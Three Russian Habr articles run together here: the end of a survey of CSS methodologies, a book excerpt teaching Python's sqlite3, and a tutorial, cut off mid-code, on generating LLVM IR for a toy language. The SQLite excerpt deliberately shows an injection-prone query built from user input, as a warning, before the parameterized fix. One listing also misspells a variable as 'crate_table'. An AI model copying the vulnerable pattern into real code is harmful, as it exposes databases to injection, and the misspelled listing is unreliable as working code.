4. **State rules** — стили состояния. В этом разделе прописываются различные состояния модулей и скелета сайта. Это единственный раздел, в котором допустимо использование ключевого слова «!important».
5. **Theme rules** — оформление. Здесь описываются стили оформлений, которые со временем, возможно, нужно будет заменить (так удобно делать, например, новогоднее оформление; для html-тем, выставленных на продажу такие стили позволяют переключать цветовую гамму и т.п.).
Также рекомендуется вводить неймспейсы для классов, принадлежащих к определенной группе, а также использовать отдельный неймспейс для классов, используемых в JavaScript.
Этот подход действительно позволяет упростить написание и поддержку кода и в последнее время привлекает достаточно большое количество разработчиков.
Atomic CSS
----------

Автор: [Тьерри Коблентц (Thierry Koblentz) — Yahoo](https://twitter.com/thierrykoblentz)
[Оригинальная статья](http://www.smashingmagazine.com/2013/10/21/challenging-css-best-practices-atomic-approach/)
Atomic CSS, редко также ACSS — атомарный CSS. В некотором роде этот подход представляет собой OOCSS, возведенный в абсолют.
При использовании такого подхода для каждого повторно используемого свойства должен быть сформирован отдельный класс. Пример: стиль «margin-top: 1px» предполагает создание класса «mt-1», стиль «width: 200px» создание класса «w-200».
Такой стиль позволяет минимизировать объем CSS-кода за счет повторного использования деклараций, а также сравнительно легко вводить изменения в модули, к примеру, при изменении технического задания.
Однако у этого подхода есть существенные недостатки! Вот они:
* наименования классов представляют собой описательные названия свойств, не описывая семантическую сущность элемента, что иногда может усложнить разработку;
* настройки отображения элементов переносятся непосредственно в HTML (это не то, для чего были придуманы таблицы стилей, не так ли?).
В связи с этими недостатками, подход был встречен существенным объемом критики. Тем не менее, подход может оказаться эффективным для очень больших проектов — кажется, Yahoo! вполне довольны использованием ACSS ([ссылка на интересную презентацию того же Тьерри Коблентца](https://www.haikudeck.com/atomic-css-science-and-technology-presentation-dJ0xlFjhBQ#)).
Кроме того, атомарный CSS используется в различных фреймворках для задания корректирующих стилей элементов и в некоторых слоях других методологий.
MCSS
----

Автор: [Роберт Харитонов — Одноклассники](http://rhr.me/)
[Документация](http://operatino.github.io/MCSS/)
> «Огры как лук. У огров есть слои. И у лука есть слои. У тех и у других есть слои»
Шрек
MCSS — многослойный CSS (Multilayer CSS). Этот стиль написания кода, зародившийся в компании «Одноклассники», предлагает разделить стили на несколько частей, называемых **слоями**.
* **Нулевой слой** или **фундамент** — здесь содержится код, отвечающий за сброс стилей браузера (reset.css/normalize.css);
* **Базовый слой** — включает в себя стили многократно используемых на сайте элементов: кнопок, полей ввода для текста, подсказок и т.п.;
* **Проектный слой** — включает в себя отдельные модули, а также т.н. «контекст» — модификации элементов в зависимости от браузера клиента, устройства, на котором просматривается сайт/приложение, роли пользователя и т.п.;
* **Косметический слой** — в этом разделе находится код, написанный в стиле OOCSS, осуществляющий мелкие изменения в внешнем виде элементов. Здесь рекомендуется оставлять только стили, влияющие на внешний вид и не способные поломать верстку сайта — цвета, некоторые некритичные отступы.
Очень важна иерархия взаимодействия слоев:
* Слой фундамента задает нейтральные стили и не влияет на другие слои.
* Элементы базового слоя могут влиять только на классы своего же слоя. *Пример: иконки на сайте могут иметь размеры 25x25, но иконки в кнопках — 16x16.*
* Элементы проектного слоя могут влиять на базовый и проектный слой. *Примеры: иконки в форме логина имеют особый размер 20x20; модуль «Покупка» может включать в себя форму логина, стили которой несколько модифицированы.*
* Косметический слой оформлен в виде описательных OOCSS-классов («атомарные» классы) и не влияет на другой CSS-код, избирательно применяясь в разметке.
Рекомендую также просмотреть [отличную презентацию](http://rhr.me/pres/mcss/), посвященную MCSS — там вы сможете узнать больше о MCSS и не только.
AMCSS
-----

Автор: [Глен Маддерн (Glen Maddern)](https://twitter.com/glenmaddern)
[Документация](https://amcss.github.io/)
Название подхода означает «Модули атрибутов для CSS» (Attribute Modules for CSS). Это достаточно необычный подход, упоминания которого, тем не менее, все чаще встречаются в блогах гуру разработки.
Если обобщить, этот способ является несколько более человеко-читаемым представлением БЭМ-структуры. Давайте рассмотрим пример:
```
Кнопка
```
Такая цепочка классов не очень приятна для глаз, поэтому давайте сгруппируем эти значения по атрибутам.
Вот что получится:
```
Кнопка
```
Во избежание коллизий имен неплохо бы добавить атрибутам неймспейсы, не так ли? Тогда код нашей кнопки примет следующий вид:
```
Кнопка
```
Если вы используете валидатор для проверки кода на корректность, не забывайте также добавить приставку «data-» перед названием атрибута.
Для записи CSS-кода используется малоизвестный селектор «~=» (IE7+), который работает как атрибут класса: выбирает элементы, значения атрибутов которых содержат указанные слова, разделенные пробелами. Так, селектор вида a[class~=«link»][class~=«button»] аналогичен селектору a.link.button (даже по специфичности, так как специфичности селекторов по классу и по атрибуту равны друг другу!).
Соответственно, CSS-код
```
.button {...}
.button--large {...}
.button--blue{...}
```
Преобразуется в
```
[am-button] {...}
[am-button~="large"] {...}
[am-button~="blue"] {...}
```
Ну как? Если вы считаете такой код слишком оригинальным, для вас существует менее радикальная форма использования AMCSS:
```
```
FUN
---

Автор: [Бен Фрейн (Ben Frain)](https://plus.google.com/107588612045728705538/posts)
[Оригинальная статья](http://benfrain.com/enduring-css-writing-style-sheets-rapidly-changing-long-lived-projects/)
FUN означает «плоская иерархия селекторов, служебные стили, компоненты с неймспейсами» (Flat hierarchy of selectors, Utility styles, Name-spaced components). Ну или веселье =)
За каждой буквой названия стоит определенный принцип:
* F, плоская иерархия селекторов: в стилях рекомендуется использовать классы для выбора элементов, не вкладывать селекторы (избегать каскада без необходимости), а также не использовать id (если вы читали раздел БЭМ, вспомните про котят);
* U, служебные классы: поощряется создание служебных атомарных стилей для решения типовых задач верстки, например, w100 для «width: 100%» или fr для «float: right»;
* N, компоненты с неймспейсами: Бен рекомендует добавлять неймспейсы для задания стилей элементов конкретных модулей; такой подход позволит избежать совпадений в названиях классов.
Некоторые разработчики отмечают, что код, написанный с использованием этих принципов достаточно удобно писать и поддерживать; в некотором роде автор взял лучшее от БЭМ и SMACSS и изложил эти техники в простой и лаконичной форме.
Такой подход накладывает достаточно мало требований по структуре кода и проекта, он лишь устанавливает предпочтительную форму записи селекторов и способ их использования в разметке. Но в небольших проектах этих правил может быть вполне достаточно для создания качественного кода.
Заключение
----------
Вот и все!
Как видите, среди этих подходов нет идеального — все они обладают своими плюсами и минусами.
Поэтому мне остается лишь напомнить вам, что ни один из этих подходов не является абсолютной догмой — вы можете взять подход из начать творить что-то свое, или создать новый подход с нуля. И, может быть, именно этот метод позволит вебу подняться на следующую ступень.
Спасибо за внимание! | https://habr.com/ru/post/256109/ | null | ru | null |
# Книга «Знакомство с Python»
[](https://habr.com/ru/company/piter/blog/698112/)Здравствуйте, Хаброжители!
Пора пополнять библиотеку программиста.
Пытаетесь найти что-нибудь для начинающих о языке Python в интернете? Не можете решить, с чего начать? Как структурировать это море информации? В каком порядке изучать?
Если вы задаетесь подобными вопросами, потому что хотите заложить фундамент будущей карьеры питониста — эта книга для вас!
Вместо скучного перечисления возможностей языка авторы рассказывают, как сочетать разные структурные элементы Python, чтобы сразу создавать скрипты и приложения.
Книга построена по принципу 80/20: большую часть полезной информации можно усвоить, изучив несколько критически важных концепций. Освоив самые популярные команды и приемы, вы сразу сосредоточитесь на решении реальных повседневных задач.
Знакомство с SQLITE
-------------------
Существует много разных ядер баз данных SQL, и некоторые из них лучше подходят для каких-то конкретных целей, чем другие. Одно из самых простых и облегченных ядер баз данных SQL — SQLite — входит в стандартную установку Python, а значит, уже работает на вашем компьютере.
В этом разделе вы научитесь пользоваться пакетом sqlite3 для создания новых баз данных SQLite, а также для хранения и чтения данных.
Основы SQLite
-------------
Вот основные этапы работы с SQLite:
1. Импортирование пакета sqlite3.
2. Подключение к существующей БД или создание новой.
3. Выполнение команд SQL.
4. Закрытие подключения к БД.
Начнем знакомство с ними в интерактивном окне IDLE. Откройте IDLE и введите следующие команды:
```
>>> import sqlite3
>>> connection = sqlite3.connect("test_database.db")
```
Функция sqlite3.connect() используется для подключения или создания новой базы данных.
При выполнении команды .connect(«test\_database.db») Python ищет существующую БД с именем «test\_database.db». Если БД с таким именем не найдена, в текущем рабочем каталоге создается новая.
Чтобы создать БД в другом каталоге, необходимо указать полный путь в аргументе .connect().
> **ПРИМЕЧАНИЕ**
>
> Также возможно создать базу данных в памяти, передав .connect() строку ":memory:":
>
>
>
>
> ```
> connection = sqlite3.connect(":memory:")
> ```
>
>
> Этот способ хорошо подходит для хранения данных, которые должны существовать только во время работы программы.
Аргумент .connect() возвращает объект sqlite3.Connection. В этом можно убедиться при помощи type():
```
>>> type(connection)
```
Объект Connection осуществляет соединение между программой и базой данных. Он содержит набор атрибутов и методов, которые могут использоваться для взаимодействия с БД.
Для хранения данных понадобится объект Cursor, который можно получить вызовом connection.cursor():
```
>>> cursor = connection.cursor()
>>> type(cursor)
```
Объект sqlite3.Cursor становится «окном» для взаимодействия с базой данных. При помощи Cursor можно создавать таблицы базы данных, выполнять команды SQL и получать результаты запроса.
> **ПРИМЕЧАНИЕ**
>
> В терминологии баз данных курсором называется объект, предназначенный для выборки результатов запроса к базе данных — по одной строке данных за раз.
Воспользуемся функцией SQLite datetime() для получения значения текущего местного времени:
```
>>> query = "SELECT datetime('now', 'localtime');"
>>> results = cursor.execute(query)
>>> results
```
«SELECT datetime('now', 'localtime');» — команда SQL, возвращающая дату и время в настоящий момент. Текст запроса присваивается переменной query и передается cursor.execute(). Команда применяет запрос к базе данных и возвращает объект Cursor, который присваивается переменной results.
Возможно, вас интересует, где увидеть время, возвращенное datetime(). Чтобы получить результаты запроса, используйте метод results.fetchone(), который возвращает кортеж с первой строкой результатов:
```
>>> row = results.fetchone()
>>> row
('2018-11-20 23:07:21',)
```
Так как .fetchone() возвращает кортеж, необходимо обратиться к первому элементу для получения строки с информацией о дате и времени:
```
>>> time = row[0]
>>> time
'2018-11-20 23:09:45'
```
Наконец, вызовите connection.close() для закрытия подключения к базе данных:
```
>>> connection.close()
```
Важно всегда закрывать подключение к БД после завершения работы с ней, чтобы системные ресурсы не оставались занятыми после того, как ваша программа прекратит работу.
Использование with для управления подключением к базе данных
------------------------------------------------------------
Вспомните, о чем мы говорили в главе 12: команда with может использоваться с open() для открытия файла и его автоматического закрытия после выполнения блока with. Та же схема используется с подключениями баз данных SQLite, и этот способ открытия подключений считается предпочтительным.
Пример использования datetime() из предыдущего примера с командой with для управления подключением к БД:
```
>>> with sqlite3.connect("test_database.db") as connection:
... cursor = connection.cursor()
... query = "SELECT datetime('now', 'localtime');"
... results = cursor.execute(query)
... row = results.fetchone()
... time = row[0]
...
>>> time
'2018-11-20 23:14:37'
```
В этом примере объект Connection, возвращенный sqlite3.connect(), присваивается переменной connection в команде with.
Код в блоке with создает новый объект Cursor методом connection.cursor(), а затем получает текущее время методами .execute() и .fetchone() объекта Cursor.
Управление подключениями к базе данных с помощью команды with обладает множеством преимуществ. Полученный код часто оказывается более чистым и компактным, чем код без использования with. Более того, как будет показано в следующем примере, любые изменения, вносимые в базу данных, автоматически сохраняются.
Работа с таблицами базы данных
------------------------------
Обычно создавать целую базу данных только для получения текущего времени не стоит. Базы данных, как правило, используются для сохранения и чтения информации. Чтобы сохранить информацию в базе, следует создать таблицу и записать в нее набор значений.
Создадим таблицу People с тремя столбцами: FirstName, LastName и Age. Запрос SQL для создания этой таблицы выглядит так:
```
CREATE TABLE People(FirstName TEXT, LastName TEXT, Age INT);
```
Обратите внимание: после FirstName и LastName следует слово TEXT, а после Age следует слово INT. Оно сообщает SQLite, что значения в столбцах FirstName и LastName являются текстовыми, тогда как значения в столбце Age являются целыми числами.
После того как таблица будет создана, ее можно заполнить данными командой INSERT INTO SQL. Следующий запрос вставляет значения Ron, Obvious и 42 в столбцы FirstName, LastName и Age соответственно:
```
INSERT INTO People VALUES('Ron', 'Obvious', 42);
```
Обратите внимание: строки 'Ron' и 'Obvious' заключены в одинарные кавычки. При этом они остаются валидными строками в Python, но, что важнее, в SQLite валидны только строки в одинарных кавычках.
> **ВАЖНО!**
>
> Когда вы записываете запросы в SQL в виде строк на языке Python, проследите, чтобы они заключались в двойные кавычки. Это позволит вам использовать одинарные кавычки внутри них как ограничители строк в SQLite.
>
>
>
> SQLite — не единственная СУБД SQL, где действует соглашение об одинарных кавычках. Постоянно помните об этом, работая с базами данных SQL.
А теперь посмотрим, как выполнить эти команды и сохранить изменения в базе данных. Сначала это будет сделано без команды with.
В новом окне редактора введите следующую программу:
```
import sqlite3
create_table = """
CREATE TABLE People(
FirstName TEXT,
LastName TEXT,
Age INT
);"""
insert_values = """
INSERT INTO People VALUES(
'Ron',
'Obvious',
42
);"""
connection = sqlite3.connect("test_database.db")
cursor = connection.cursor()
cursor.execute(crate_table)
cursor.execute(insert_values)
connection.commit()
connection.close()
```
Сначала создаются две строки с командами SQL, которые создают таблицу People и вставляют в нее данные. Эти строки присваиваются переменным create\_table и insert\_values.
Обе команды записываются в синтаксисе с утроенными кавычками, чтобы мы могли отформатировать код. SQL игнорирует отступы, что позволяет использовать пробелы в строке для улучшения удобочитаемости кода Python.
Затем мы создаем объект Connection вызовом sqlite3.connect() и присваиваем его переменной connection. Также можно создать объект Cursor вызовом connection.cursor() и использовать его для выполнения двух команд SQL.
Наконец, метод connection.commit() сохраняет информацию в базе данных. Этот метод сохраняет внесенные изменения. Если не выполнить connection.commit(), то таблица People создана не будет.
Сохраните файл и нажмите F5, чтобы запустить программу. База данных test\_database.db содержит таблицу People с одной строкой данных. В этом можно убедиться в интерактивном окне:
```
>>> connection = sqlite3.connect("test_database.db")
>>> cursor = connection.cursor()
>>> query = "SELECT * FROM People;"
>>> results = cursor.execute(query)
>>> results.fetchone()
('Ron', 'Obvious', 42)
```
А теперь перепишем программу с использованием команды with для управления подключением к базе данных.
Прежде чем что-либо делать, необходимо удалить таблицу People, чтобы создать ее заново. Введите следующий код в интерактивном окне, чтобы удалить таблицу People из базы данных:
```
>>> cursor.execute("DROP TABLE People;")
>>> connection.commit()
>>> connection.close()
```
Вернитесь к окну редактора и измените программу следующим образом:
```
import sqlite3
create_table = """
CREATE TABLE People(
FirstName TEXT,
LastName TEXT,
Age INT
);"""
insert_values = """
INSERT INTO People VALUES(
'Ron',
'Obvious',
42
);"""
with sqlite3.connect("test_database.db") as connection:
cursor = connection.cursor()
cursor.execute(create_table)
cursor.execute(insert_values)
```
Ни вызов connection.close(), ни вызов connection.commit() не обязательны. Любые изменения, вносимые в базу данных, будут автоматически сохранены при завершении выполнения блока with. Это еще одно преимущество использования команды with для управления подключением к БД.
Выполнение нескольких команд SQL
--------------------------------
Сценарий SQL представляет собой набор разделенных точкой с запятой команд SQL, которые могут выполняться одновременно. Объекты Cursor содержат метод .executescript() для выполнения сценариев SQL.
Следующая программа выполняет сценарий SQL, который создает таблицу People и вставляет в нее несколько значений:
```
import sqlite3
sql = """
DROP TABLE IF EXISTS People;
CREATE TABLE People(
FirstName TEXT,
LastName TEXT,
Age INT
);
INSERT INTO People VALUES(
'Ron',
'Obvious',
'42'
);"""
with sqlite3.connect("test_database.db") as connection:
cursor = connection.cursor()
cursor.executescript(sql)
```
Также возможно выполнить несколько сходных команд, вызвав метод .executemany() и передав кортеж кортежей, в котором каждый внутренний кортеж предоставляет информацию для одной команды.
Например, если у вас имеется большой набор записей о людях, которые нужно вставить в таблицу People, вы можете сохранить эту информацию в следующем кортеже кортежей:
```
people_values = (
("Ron", "Obvious", 42),
("Luigi", "Vercotti", 43),
("Arthur", "Belling", 28)
)
```
После этого всю информацию можно вставить всего одной строкой кода:
```
cursor.executemany("INSERT INTO People VALUES(?, ?, ?)", people_values)
```
Вопросительные знаки обозначают место для подстановки элементов кортежей, содержащихся в people\_values. Это называется параметризованной командой.
Каждый знак? представляет параметр, который заменяется значением из people\_values при выполнении метода. Параметры заменяются по порядку. Иначе говоря, первый знак? заменяется первым значением в people\_values, второй знак? заменяется вторым значением и т. д.
Проблемы безопасности с параметризованными командами
----------------------------------------------------
По соображениям безопасности — особенно при взаимодействиях с таблицами SQL, основанными на данных, введенных пользователем, — всегда следует применять параметризованные команды SQL. Дело в том, что пользователь теоретически может ввести данные, которые выглядят как код SQL и вызывают неожиданное поведение команд SQL. Это называется атакой внедрения SQL, причем, возможно, у пользователя нет вредоносных намерений и это происходит абсолютно случайно.
Допустим, вы хотите вставить запись в таблицу People на основании информации, введенной пользователем. Первая попытка может выглядеть примерно так:
```
import sqlite3
# Получить данные людей от пользователя
first_name = input("Enter your first name: ")
last_name = input("Enter your last name: ")
age = int(input("Enter your age: "))
# Выполнить команды вставки для введенных данных
query = (
"INSERT INTO People Values"
f"('{first_name}', '{last_name}', {age});"
)
with sqlite3.connect("test_database.db") as connection:
cursor = connection.cursor()
cursor.execute(query)
```
А если имя пользователя содержит апостроф? Попробуйте добавить в таблицу имя Flannery O'Connor — и вы увидите, что программа перестает работать. Дело в том, что апостроф — то же самое, что одинарная кавычка, и для программы все выглядит так, словно код SQL завершается раньше, чем вы предполагали.
В данном случае код только порождает ошибку, что уже достаточно плохо. Однако в некоторых случаях некорректный ввод может привести к повреждению всей таблицы. Многие другие трудно прогнозируемые случаи могут нарушить структуру таблицы SQL и даже удалить части базы данных. Чтобы этого не произошло, всегда используйте параметризованные команды.
В следующем коде параметризованная команда используется для безопасной вставки пользовательского ввода в базу данных:
```
import sqlite3
first_name = input("Enter your first name: ")
last_name = input("Enter your last name: ")
age = int(input("Enter your age: "))
data = (first_name, last_name, age)
with sqlite3.connect("test_database.db") as connection:
cursor = connection.cursor()
cursor.execute("INSERT INTO People VALUES(?, ?, ?);", data)
```
Параметризация также пригодится для обновления строки в базе данных командой SQL UPDATE:
```
cursor.execute(
"UPDATE People SET Age=? WHERE FirstName=? AND LastName=?;",
(45, 'Luigi', 'Vercotti')
)
```
Этот код обновляет значение столбца Age значением 45 для строки, в которой поле FirstName содержит 'Luigi', а поле LastName содержит 'Vercotti'.
Чтение данных
-------------
Вставка и обновление информации в базе данных вряд ли принесут пользу, если вам не удается прочитать информацию из этой базы данных.
Для чтения информации из базы данных можно воспользоваться методами курсора .fetchone() и .fetchall(). Метод .fetchone() возвращает одну строку данных из результатов запроса, тогда как .fetchall() читает сразу все результаты запроса.
Следующая программа демонстрирует использование .fetchall():
```
import sqlite3
values = (
("Ron", "Obvious", 42),
("Luigi", "Vercotti", 43),
("Arthur", "Belling", 28),
)
with sqlite3.connect("test_database.db") as connection:
cursor = connection.cursor()
cursor.execute("DROP TABLE IF EXISTS People")
cursor.execute("""
CREATE TABLE People(
FirstName TEXT,
LastName TEXT,
Age INT
);"""
)
cursor.executemany("INSERT INTO People VALUES(?, ?, ?);", values)
# Выбрать все имена и фамилии людей, возраст которых
# превышает 30 лет
cursor.execute(
"SELECT FirstName, LastName FROM People WHERE Age > 30;"
)
for row in cursor.fetchall():
print(row)
```
В этой программе мы сначала удаляем таблицу People, чтобы уничтожить изменения, внесенные в предыдущих примерах этого раздела. Затем мы заново создаем таблицу People и вставляем в нее несколько значений. Далее вызовом .execute() выполняется команда SELECT, которая возвращает имена и фамилии всех людей, возраст которых превышает 30.
Наконец, .fetchall() возвращает результаты запроса в виде списка кортежей, в котором каждый кортеж содержит одну строку данных из результатов запроса.
Если ввести программу в новом окне редактора, а затем сохранить и запустить файл, в интерактивном окне появится следующий вывод:
```
('Ron', 'Obvious')
('Luigi', 'Vercotti')
```
Действительно, это единственные люди в базе данных, чей возраст более 30 лет.
Упражнения
----------
1. Создайте новую базу данных, содержащую таблицу Roster. Таблица состоит из трех полей: Name, Species и Age. Столбцы Name и Species должны быть текстовыми, а столбец Age должен быть целочисленным полем.
2. Заполните созданную таблицу следующими значениями:

3. Обновите поле Name записи Jadzia Dax, чтобы оно содержало значение Ezri Dax.
4. Выведите значения Name и Age для всех строк данных, у которых поле Species содержит значение Bajoran.
**Об авторах**
Ресурс Real Python предназначен для всех, кто хочет освоить навыки реального программирования при поддержке сообщества профессиональных разработчиков Python со всего мира.
Веб-сайт [realpython.com](http://realpython.com) был запущен в 2012 году. В настоящее время он ежемесячно помогает более чем трем миллионам разработчиков Python своими бесплатными учебными пособиями и курсами.
Все, кто работал над книгой «Знакомство с Python», — практики, имеющие многолетний профессиональный опыт в программировании, члены преподавательской команды Real Python.
**Дэвид Эймос** — технический директор по контенту сайта Real Python. После ухода из образовательной системы в 2015 году Дэвид работал на различных технических должностях как программист и специалист по обработке данных. В 2019 году он перешел в штат Real Python, чтобы развить свое увлечение образованием. Дэвид возглавил переработку и обновление материала книги для Python 3.
**Дэн Бейдер** — владелец и старший редактор сайта Real Python, а также ведущий разработчик образовательной платформы realpython.com. Дэн занимается программированием более 20 лет, он имеет степень магистра в области компьютерных технологий. А кроме того, Дэн написал «Python Tricks» — популярную книгу для продвинутых разработчиков Python.
**Джоанна Яблонски** — главный редактор сайта Real Python. Она любит естественные языки в той же степени, что и языки программирования. Ее пристрастие к загадкам, закономерностям и нудным мелочам привело к тому, что она выбрала карьеру переводчика. Прошло совсем немного времени, и она влюбилась в новый язык — Python! Джоанна присоединилась к проекту Real Python в 2018 году и с тех пор помогает программистам Python повышать профессиональную квалификацию.
**Флетчер Хейслер** — основатель проекта Hunter, он обучает разработчиков тонкостям программирования и построению безопасных современных веб-приложений. Флетчер, один из основателей Real Python, в 2012 году написал первую версию учебного курса Python, на котором основана эта книга.
Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/product/znakomstvo-s-python):
» [Оглавление](https://www.piter.com/product/znakomstvo-s-python#Oglavlenie-1)
» [Отрывок](https://www.piter.com/product/znakomstvo-s-python#Otryvok-1)
По факту оплаты бумажной версии книги на e-mail высылается электронная книга.
Для Хаброжителей скидка 25% по купону — **Python** | https://habr.com/ru/post/698112/ | null | ru | null |
# Компиляция. 5 и 1/2: llvm как back-end
В серии статей от [tyomitch](https://habrahabr.ru/users/tyomitch/) «Компиляция» ([тут](http://habrahabr.ru/blogs/programming/99162/), [тут](http://habrahabr.ru/blogs/programming/99298/), [тут](http://habrahabr.ru/blogs/programming/99366/), [тут](http://habrahabr.ru/blogs/programming/99397/), [тут](http://habrahabr.ru/blogs/programming/99466/) и [здесь](http://habrahabr.ru/blogs/programming/99592/)) было рассмотрено построение транслятора игрушечного языка jsk, описанного [в 4 части](http://habrahabr.ru/blogs/programming/99397/).
В качестве back-end для этого транслятора [tyomitch](https://habrahabr.ru/users/tyomitch/) предложил реализацию байт-кода и интерпретатор этого байт-кода.
На мой взгляд, более разумным подходом было бы использование существующих решений для backend, например llvm, и следуя принципу «Критика без конкретных предложений — критиканство», я предлагаю вариант реализации этого маленького языка jsk с llvm.
Что это даст для jsk? Настоящую компиляцию, то есть результатом будет исполняемый файл, который не зависит ни от каких runtime, возможность серьезной оптимизации, профилирования кода и автоматически получим документацию по back-end (что облегчит сопровождение).
##### Как устроен llvm с точки зрения разработчика front-end?
Для работы llvm необходимо создать context, с помощью него создать модуль. В каждом модуле может быть несколько функций. Поскольку jsk не поддерживает функции, мы создадим одну функция — main().
В каждой функции может быть несколько блоков кода.
###### Что такое блок кода
Часто в программах создается необходимость передать управление вперед, на метку, которая еще не определена. libjit позволяет сначала создать и использовать метку, а определить ее позже, Gnu llightning позволяет писать передачу управления в код, и позже пропатчить этот код, чтобы подставить нужный адрес, а llvm использует совсем другой подход — блоки кода.
То есть llvm API вообще не знает такого понятия как метка. Если надо передать управление, то в команду передается ссылка на блок кода. Например для конструкции
`if условие then какой то код else код endif`
В LLVM API нужно создать блоки кода для then ветки, блок кода для else ветки, и в команде условного перехода указать эти блоки. Что то типа
`BasicBlock *ThenBB = BasicBlock::Create(context, "");
BasicBlock *ElseBB = BasicBlock::Create(context, "");
BasicBlock *AfterIfBB = BasicBlock::Create(context, "");
Builder.CreateCondBr(CondV, ThenBB, ElseBB);
И после этого заполнить кодом ThenBB, ElseBB, завершив и тот и другой безусловным переходом на AfterIfBB.`
Для собственно генерации кода используется IRBuilder, который содержит (грубо говоря) методы для генерации всех команд LLVM.
###### После того, как создали весь код, что дальше?
Это на наше усмотрение. Мы можем просто распечатать полученный байткод в читаемом виде с помощью метода dump() у llvm модуля, выполнить код (то есть использовать llvm как JIT компилятор), или, что правильней для нашего случая, сохранить байткод в файле. Это позволит в дальнейшем оптимизировать этот байт код и преобразовать его в исполняемый файл с помощью штатных инструментов llvm.
Итак,
##### Цели определены, задачи поставлены, за работу товарищи (с)
Весь код я здесь поместить не могу, если кому-нибудь захочется поиграть с исходниками, архив выложен [здесь](http://ubuntuone.com/6wqTGTZytnQA1i6acWI70B) или [здесь](http://narod.ru/disk/27865395001/jsk.tar.gz.html).
Прежде всего нам нужно включить определенные заголовки в исходный текст.
> #include "llvm/DerivedTypes.h"
>
> #include "llvm/LLVMContext.h"
>
> #include "llvm/Module.h"
>
> #include "llvm/Analysis/Verifier.h"
>
> #include "llvm/Support/IRBuilder.h"
>
> #include
>
> #include
>
> using namespace llvm;
>
>
Этого должно быть достаточно. Далее инициализируем контекст, модуль, создаем функцию main и IRBuilder для добавления кода в функцию
В декларации:
>
>
> static Module \*TheModule;
>
> static IRBuilder<> Builder(getGlobalContext());
>
>
и в начало кода следующее:
> LLVMContext &Context = getGlobalContext();
>
> TheModule = new Module("jsk", Context);
>
> const Type\* voidType = Type::getVoidTy(Context);
>
>
>
> func\_main = cast<Function>(TheModule->getOrInsertFunction("main", voidType, NULL));
>
> func\_main->setCallingConv(CallingConv::C);
>
> BasicBlock\* block = BasicBlock::Create(getGlobalContext(), "code", func\_main);
>
> Builder.SetInsertPoint(block);
>
>
>
>
После генерации кода мы генерируем ret void для выхода из нашей фиктивной функции и сбрасываем байткод в файл a.out.bc
>
>
> Builder.CreateRetVoid();
>
>
>
> std::string ErrStr;
>
> raw\_fd\_ostream bitcode("a.out.bc",ErrStr,0);
>
> WriteBitcodeToFile(TheModule, bitcode);
>
> bitcode.close();
>
>
Теперь насчет генерации кода для конкретных операция нашего jsk языка
###### Переменные
Для каждой переменной мы резервируем место в стеке с помощью инструкции
`%varname = alloca i32`
Или, в терминах API
`Builder.CreateAlloca(IntegerType::get(context,32), 0, VarName.c_str());`
Проблема заключается в том, что мы не можем выделить место в стеке именно там, где встретили первый раз переменную. Потому что, если переменная встретится в середине цикла while, мы загадим весь стек копиями переменной.
Поэтому нам нужно иметь список уже определенных переменных, и когда мы встречаем в тексте переменную, проверить, и если она встретилась первый раз, разместить выделение памяти для нее в самом верху кода функции. То есть, у текущей функции взять первый блок, и добавить туда alloca команду сверху этого блока. На наше счастье llvm позволяет писать команды не только в конец, но и в начало блока. Как это сделано, можно посмотреть в исходном тексте — функция CreateEntryBlockAlloca();
Присваивание переменной значения
`Value *result = value->emit();
Builder.CreateStore(result,varreference);
т.е.
store i32 %result, i32* %varreference`
Соответственно, получить значение переменной
`return Builder.CreateLoad(varref);
то есть
%val = load i32* %varref`
###### Бинарные и унарные операции.
Тут все просто
>
>
> switch (op) {
>
> case '+': return Builder.CreateAdd(L, R);
>
> case '-': return Builder.CreateSub(L, R);
>
> case '\*': return Builder.CreateMul(L, R);
>
> case '/': return Builder.CreateSDiv(L, R);
>
> case '<': tmp = Builder.CreateICmpSLT(L, R); return Builder.CreateZExt(tmp, IntegerType::get(getGlobalContext(),32));
>
> case '>': tmp = Builder.CreateICmpSGT(L, R); return Builder.CreateZExt(tmp, IntegerType::get(getGlobalContext(),32));
>
> case 'L': tmp = Builder.CreateICmpSLE(L, R); return Builder.CreateZExt(tmp, IntegerType::get(getGlobalContext(),32));
>
> case 'G': tmp = Builder.CreateICmpSGE(L, R); return Builder.CreateZExt(tmp, IntegerType::get(getGlobalContext(),32));
>
> case 'N': tmp = Builder.CreateICmpNE(L, R); return Builder.CreateZExt(tmp, IntegerType::get(getGlobalContext(),32));
>
> case '=': tmp = Builder.CreateICmpEQ(L, R); return Builder.CreateZExt(tmp, IntegerType::get(getGlobalContext(),32));
>
>
>
> default: return ErrorV("invalid binary operator ");
>
> }
>
>
###### IF и WHILE
Как уже описывалось, используем блоки кода. Например для IF:
> Value \*CondV=cond->emit();
>
> // Сравнили выражение условия с 0
>
> CondV = Builder.CreateICmpNE(CondV,zero,"ifcond");
>
> // Блоки кода для веток IF
>
> BasicBlock \*ThenBB = BasicBlock::Create(getGlobalContext(), "thenblock");
>
> BasicBlock \*ElseBB = BasicBlock::Create(getGlobalContext(), "elseblock");
>
> BasicBlock \*MergeBB = BasicBlock::Create(getGlobalContext(), "afterifblock");
>
> // Собственно ветвление для IF
>
> Builder.CreateCondBr(CondV, ThenBB, ElseBB);
>
>
>
> // Далее код добавляем в ветку THEN
>
> Builder.SetInsertPoint(ThenBB);
>
> this->thenops.emit();
>
> // В конце THEN переход на "после IF"
>
> Builder.CreateBr(MergeBB);
>
>
>
> TheFunction->getBasicBlockList().push\_back(ElseBB);
>
> // Далее код добавляем в веку ELSE
>
> Builder.SetInsertPoint(ElseBB);
>
> this->elseops.emit();
>
> // В конце else переход на "After IF"
>
> Builder.CreateBr(MergeBB);
>
>
>
> TheFunction->getBasicBlockList().push\_back(MergeBB);
>
> // После IF код добавлять только в MergeBB
>
> Builder.SetInsertPoint(MergeBB);
>
> return zero;
>
>
Для WHILE:
> BasicBlock \*CondBB = BasicBlock::Create(getGlobalContext(),"whilexpr",TheFunction);
>
> BasicBlock \*LoopBB = BasicBlock::Create(getGlobalContext(), "loop");
>
> BasicBlock \*AfterBB = BasicBlock::Create(getGlobalContext(), "after");
>
> Builder.CreateBr(CondBB);
>
>
>
> // Блок условия. Добавляем код сюда. генерируем код условия, Сравниваем результат с 0
>
> // И если условие не выполняется - переходим на AfterBB
>
> Builder.SetInsertPoint(CondBB);
>
> Value \*CondV=cond->emit();
>
> if (CondV == 0) return 0;
>
> // Convert condition to a bool by comparing equal to 0.
>
> CondV = Builder.CreateICmpNE(CondV,zero,"whilecond");
>
> Builder.CreateCondBr(CondV,LoopBB,AfterBB);
>
>
>
>
>
